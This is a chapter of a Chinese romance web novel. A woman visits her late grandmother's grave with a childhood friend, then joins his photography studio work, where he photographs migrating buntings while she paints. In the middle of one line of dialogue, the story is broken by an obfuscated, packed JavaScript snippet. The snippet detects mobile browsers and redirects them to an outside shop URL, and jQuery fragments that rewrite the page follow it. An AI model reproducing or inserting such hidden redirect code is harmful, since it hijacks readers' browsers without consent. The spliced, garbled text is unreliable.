苏温秋起来的时候宋昼已经买好了早餐放在了桌子上。


    “早啊，桌上有早餐。”宋昼欠欠的声音传入了苏温秋的耳朵里，连带着瞌睡也被他这句话给赶跑。


    “啊……早上好。”


    苏温秋发出一声淡淡的疑惑，然后又点头，宋昼抬眼，苏温秋正安安静静的坐在那里，桌子上的早餐是苏温秋小时候特别喜欢吃那类包子。


    “祥记的包子？”是奶奶当时的早餐店，后来奶奶身体不够了之后那里就闲置了下来，之后被其他人接手了。


    即使是这样苏温秋也还是会经常去那里买些吃食，早餐就带去学校吃。


    苏温秋咬了一口，鼻子有点酸酸的，还是记忆中的那个样子没变，但好像又变了什么，不过她记得这家店在东街，自己现在在北街，那么远的距离……


    她看向宋昼：“怎么突然去那么远的地方了？”


    “哦。”


    宋昼在收拾东西，桌子旁边还拿着给奶奶的吃的，听到苏温秋问这个问题也只是轻描淡写的说了句：“想吃就买了。”


    苏温秋垂眸，眼睛里，倏忽起身：“走吧。”


    “我还没给奶奶买东西呢。”


    苏温秋哽了一秒随即拿上自己在衣架上挂着的外套：“奶奶她，用不了。”


    苏温秋说出这句话的时候宋昼心里就隐隐有些就觉得有些不对劲，他不知道自己冒昧的提出这句话是否是正确的，坐上车的时候苏温秋给了他一个地址。


    那是一个花店。


    苏温秋从里面拿了一束洋桔梗，剩下一束递给了宋昼。


    “奶奶她最喜欢的就是这个花了。”


    宋昼心里不舒服，他好像猜到了结局，当初领养苏温秋的时候奶奶已经六十多岁了，这么多年过去了，再怎么精神的人也总归是抵挡不住时间的侵蚀。


    安平花园墓地。


    苏温秋还是在奶奶去世以后第一次带着她青春时期的朋友来看她。


    宋昼良久不能言语，放任沉默在两人之中蔓延。


    “在我回来前一周，她去世了。”


    “她走的时候挺平静的，没有受一点苦。”


    苏温秋垂眸看着墓碑上那慈眉善目的眉眼，蹲下身体轻轻抚摸过她的照片，然后笑了笑：“走之前就念叨着你，可惜她的身体不太好也就放弃回国，后来她得了阿尔兹海默症。”


    “就连我都不认识了。”


    宋昼的泪珠毫无征兆的落了下来：“为什么不和我说。”


    她自己一个人，这么辛苦，忍着巨大的悲伤还要去处理后事，身边一个人都没有，该怎么办啊。


    苏温秋摇头：“她走的时候没吃一点苦，就是那么一个早上，我去叫她，然后她就再也没理过我。”


    宋昼看着比自己矮一头的小姑娘，突然觉得这个世界对她有点不太好。


    “葬礼只有我，安安静静的，我想苏女士一定很开心。”


    “现在也一样。”


    “她看到你，一定会很开心。”


    苏温秋侧头看向眼眶红红的宋昼，笑了一下，拍拍他的肩膀：“你怎么还哭了，苏荷知道了又要教训我欺负你了。”


    宋昼双眼看向苏温秋，她在笑，但眼神底的悲伤却快要溢了出来。


    “苏温秋。”


    “你其实可以不用佯装镇定的。”


    宋昼哑着嗓音，伸出手将她搂住，像小时苏温秋委屈总会用宋昼的衣服擦掉眼泪，宋昼低声说：“这次的衣服也还借你擦。”


    苏温秋笑着笑着落下了眼泪，然后她靠在宋昼的肩膀上，眼泪止不住的打落，她本来都要麻痹自己忘记了，她攒攒钱就可以把祥记那边的铺子买下来了。


    她明明可以自己一个人把所有的事情处理好了，但是为什么就是宋昼一眼就能看出自己到底在想些什么。


    风过从花，这让她想起了小时候趴在苏荷身边的日子，那时她还年少，吃着雪糕说着不切实际的话：“奶奶，你要一直陪我哦。”


    “好，奶奶一直陪着我们温秋。”


    这句承诺苏温秋还记在心底。


    其实奶奶并没有真正意义上的离去，只是被困在了时光的尽头，而苏温秋正一步一步走向未来。


    “你当时为什么要离开？”


    宋昼开口眼神也追随着她，苏温秋没说话，宋昼看出了她的难言之隐，于是点头：“你不说也没关系，之少你现在回来了。”


    “谢谢。”


    谢谢你一直在等我。


    谢谢你们一直记得我。


    晚夏的天气时好时坏，没过多时就毫无征兆的下起了小雨，苏温秋用手接住打落的雨滴，身后的人撑开伞朝着她身侧之处倾斜了雨伞。


    裴笛在昼夜等了宋昼很久，叶宿给她倒了杯水安抚：“稍安勿躁啊，你的专辑什么时候出，让宋昼出出血。”


    裴笛露出死亡微笑：“快得了吧，约他档期都约不到，与其让他给我出血，还不如给我一个档期。”


    江阅走过来递给她合同：“《破茧》的拍摄专辑封面合同。”


    裴笛点头：“行。”


    苏温秋是跟着宋昼一起来的昼夜，裴笛看到苏温秋眼睛一亮，连忙跑过去，她身上还带着一股雨的清香，裴笛刚要开口就发现苏温秋的眼眶红红的，立刻眼神杀过去。


    “宋昼，你又欺负我们秋秋。”


    宋昼举起手：“冤枉啊，我怎么可能欺负她。”


    苏温秋伸手阻拦住即将暴走的裴笛：“笛子，我可以和你商量个事嘛？”


    裴笛点头，和她坐在沙发上：“你说，有什么我可以帮你的？”


    “我这次想在安南办一个画展，主题是年，我想要你做我的模特好不好。”


    听到这话裴笛犹豫了一下，但还是点头应答：“可以，你这个期间会很长吗，我这几天需要忙专辑的事情，等过了这段时间可以吗？”


    “当然可以。”苏温秋笑着说道：“放心，稿酬少不了你的。”


    裴笛把她搂在自己怀里：“我要被你包.养了吗？”


    “可以吗？”


    “当然可以了。”裴笛抱紧苏温秋眼神挑衅的看向宋昼。


    宋昼被气笑了：“裴小姐的专辑封面沟通好了吗？”


    江阅立刻点头：“那当然！宋昼，你也不用这么质


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203236|197286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疑我的专业吧。”


    宋昼假笑：“那就好，毕竟我们已经签了苏小姐的半年档期，如果中途被裴小姐拐走了，那我可就得不偿失了。”


    江阅听到他说这句话瞬间明白了，宋昼原来是在莫名其妙的吃飞醋呢。


    苏温秋听出了宋昼嘴里的阴阳怪气，好笑的看向宋昼：“要不要这么小气……”


    “裴笛都要把我的合作对象拐走了，还不允许我小气一回了？”


    裴笛垂眸看了一眼时间：“好了，我要去录歌了。”


    苏温秋不舍的放开她的胳膊：“好。”


    裴笛揉了揉苏温秋的脸颊：“周末见。”


    宋昼一脸不爽，连带着语气都没有那么温和：“苏温秋，一会儿需要出外景，你记得拿一下道具。”


    “好。”


    其实苏温秋早就知道宋昼一定会成为摄影师，昼夜更多的是以地质风景，自然人文而著名。


    他从小就喜欢山川海河，能成立工作室也在苏温秋的意料之内。


    他从来不会因为谁而放弃和改变。


    宋昼将取景器框住，苏温秋拿上画架支起来：“我需要做什么吗？”


    宋昼抱臂看着取景中心：“你不用管我，你画你的就好了。”


    苏温秋点头。


    她迅速进入工作状态。


    安南有一个名为十月峡的地方，冬天那里的瀑布会凝结成冰，形成一股独特的自然景象冰瀑，但是现在在夏末，湖水潺潺向外面流去。


    苏温秋感受着风声水声，然后起笔定草稿。


    不知道为什么，苏温秋的画里总可以传达出一种温暖的感觉。


    宋昼站在苏温秋的背后，嘴角微微上扬，风把他的头发也吹的乱了起来，夏末的燥热也随之消失。


    宋昼就这么静静地看着苏温秋一笔一划的勾勒出了这个景色，一直到日暮时分，天空出现了几个不速之客。


    迁徙的栗斑腹鹀已经开始准备南飞，这次的摄影主角就是他们。


    宋昼等到了，他立刻调整机位，将它们连带着苏温秋和她的画一起装了进去。


    苏温秋被这个景象震惊，连忙起身看向宋昼，此刻宋昼再次按下了快门。


    “宋昼，那是栗斑腹鹀吗？”


    身侧的人点头：“对。”


    “秋天快到了，他们要准备开始南迁。”


    “它是国家一级保护动物，在全球成熟数量其实也仅约1500-4000只①，今天也是想着碰碰运气，结果还真的抓拍到了。”


    苏温秋连忙过去看了看，画面中的栗斑腹鹀尤为明显，虽然只有五六只，但也足够珍贵。


    其实能拍到栗斑腹鹀也确实是运气加持。


    苏温秋还记得之前地理课上讲过，它的全球繁殖地极其狭小。


    确实限于中国东北的西部、内蒙古东部以及朝鲜半岛北部、俄罗斯东南端的一小片区域。②


    能在这里拍到它的迁移过程可想而知的难度，实属不易。


    宋昼往后看了看自己拍摄的画面，勾唇抬头：“苏温秋。”


    “嗯？”


    “你果然是个四叶草。”